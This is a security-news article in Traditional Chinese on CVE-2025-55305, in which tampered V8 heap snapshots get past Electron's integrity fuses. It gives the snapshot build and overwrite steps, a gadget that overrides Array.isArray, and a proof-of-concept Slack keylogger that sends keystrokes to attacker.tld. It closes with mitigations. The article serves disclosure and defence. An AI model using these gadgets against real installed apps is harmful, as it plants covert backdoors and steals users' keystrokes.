摘要

這份報告針對 CVE-2025-55305 進行了深入的技術分析,此弱點影響 Electron 應用程式,使本機攻擊者可以透過篡改 V8 堆積快照(Heap snapshot)檔案來繞過程式碼完整性檢查。本分析著重於底層實作、gadget 使用、概念驗證 payloads,以及對基於 Chromium 生態系的影響—突顯其攻擊途徑、緩解措施和結構考量。

V8 快照完整性檢查的終極盲點:深入解析 Electron 應用程式的本地後門攻擊與防禦 | 資訊安全新聞

1. 背景與攻擊面

Electron 應用程式仰賴兩個可選的完整性 fuses— EnableEmbeddedAsarIntegrityValidation OnlyLoadAppFromAsar —來確保應用程式程式碼與開發者封裝的內容相符,並分別獨家從 ASAR 存檔中載入 [1] 。然而,這些 fuses 並不將 V8 堆積快照檔案視為可執行的內容,因此會跳過完整性驗證 [1] 。由於 Electron 應用程式通常安裝在使用者可寫入的目錄中,擁有檔案系統存取權限(但沒有提升權限)的攻擊者可以覆寫 snapshot,來植入 malicious logic 而不破壞可執行檔簽章或 ASAR 完整性檢查 [1]

2. 透過快照篡改進行攻擊的機制

V8 使用預先計算的堆積快照—序列化的記憶體映像—來加速 context 初始化,這類似於解凍冷凍食品以節省時間 [1] 。這些快照在反序列化後會重建一個 V8 isolate(沙箱化的 JS context)。儘管它們不能直接執行,但其內容可以覆寫 JavaScript builtins,而這些內容將在正常的應用程式邏輯流程下執行 [1] 。這使得持久化得以隱蔽地進行,而不會觸發應用程式層級的完整性或作業系統程式碼簽章檢查。

3. Gadget 搜獵技術

攻擊者利用 electron-mksnapshot 製作惡意的堆積快照,注入 gadgets 來覆寫 builtins,例如 Array.isArray [1] 。一個最小的 gadget 範例:

  1. // npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
  2. // Copy resulting file over the app’s v8_context_snapshot.bin
  3. const orig = Array.isArray;
  4. Array.isArray = function() {
  5.   throw new Error("testing isArray gadget");
  6. };

這會導致在呼叫 Array.isArray 時發生 crash,證明即使是受到完整性保護的應用程式,仍然會透過 snapshots 載入未簽章的程式碼 [1]

一個更進階的 gadget 利用 process.pid 來區分 process context,並有選擇地執行 payloads,從而對哪個 isolate 執行 malicious logic 進行精細控制 [1]

4. 概念驗證 Backdoors

研究人員使用 gadgets,為知名的 Electron 應用程式(如 Slack、1Password 和 Signal)創建了 backdoors。例如,在 Slack 中,覆寫 Array.isArray 可以在 renderer 中安裝一個簡單的 keylogger:

  1. Array.isArray = function() {
  2. try {
  3. if (!alert) return orig(...arguments);
  4. } catch (_) {
  5. return orig(...arguments);
  6. }
  7. if (!globalThis._invoke_lock) {
  8. globalThis._invoke_lock = true;
  9. setInterval(() => {
  10. window.onkeydown = (e) => {
  11. fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), { "mode": "no-cors" })
  12. }
  13. }, 1000);
  14. }
  15. return orig(...arguments);
  16. };

這說明了快照篡改如何繞過完整性驗證,即使在已簽章的應用程式中也能啟用任意程式碼執行 [1]

5. 系統性影響與範圍

由於 Electron、Chrome 和其他基於 Chromium 的軟體共享 V8 snapshot 機制,且通常位於使用者可寫入的 paths,這項技術對一大類應用程式構成供應鏈式的 Threat actor [1] 。Chrome 的 Threat actor 模型明確將本機攻擊排除在外,這意味著大規模的 Exploitation 可能會被忽視 [1] 。此底層弱點已被歸類為 CVE-2025-55305。

6. Mermaid 圖表:攻擊流程

下圖是一個總結攻擊流程的 mermaid 圖表:

graph LR   A[Attacker writes
malicious
v8_snapshot.bin]   B[Application
loads snapshot
at startup]   C[Injected
gadget
overrides
JS builtin]   D[Malicious
code
executes
in V8
isolate
context]   E[Persistence
and
stealth
achieved]   A --> B --> C --> D --> E  

7. 緩解策略

  • 確保完整性 fuses 已啟用並擴展至包含 V8 快照檔案。
  • 限制應用程式目錄的寫入權限至非寫入位置。
  • 考慮在 runtime 進行外部快照簽章或 checksum 驗證。
  • 採用主動式 runtime 監控,以偵測對 builtin 函式的異常覆寫。

結論

弱點 CVE-2025-55305 揭示了 Electron 和類似平台在應用程式完整性模型中存在的一個根本性漏洞:將 V8 堆積快照排除在完整性檢查之外。透過允許透過快照來源注入未簽章的程式碼,攻擊者可以隱密地植入持久性 backdoors—且不被簽章驗證發現。有效的緩解措施需要將完整性機制擴展至涵蓋快照檔案、實施更嚴格的檔案權限,並監控 builtin 函式行為的異常。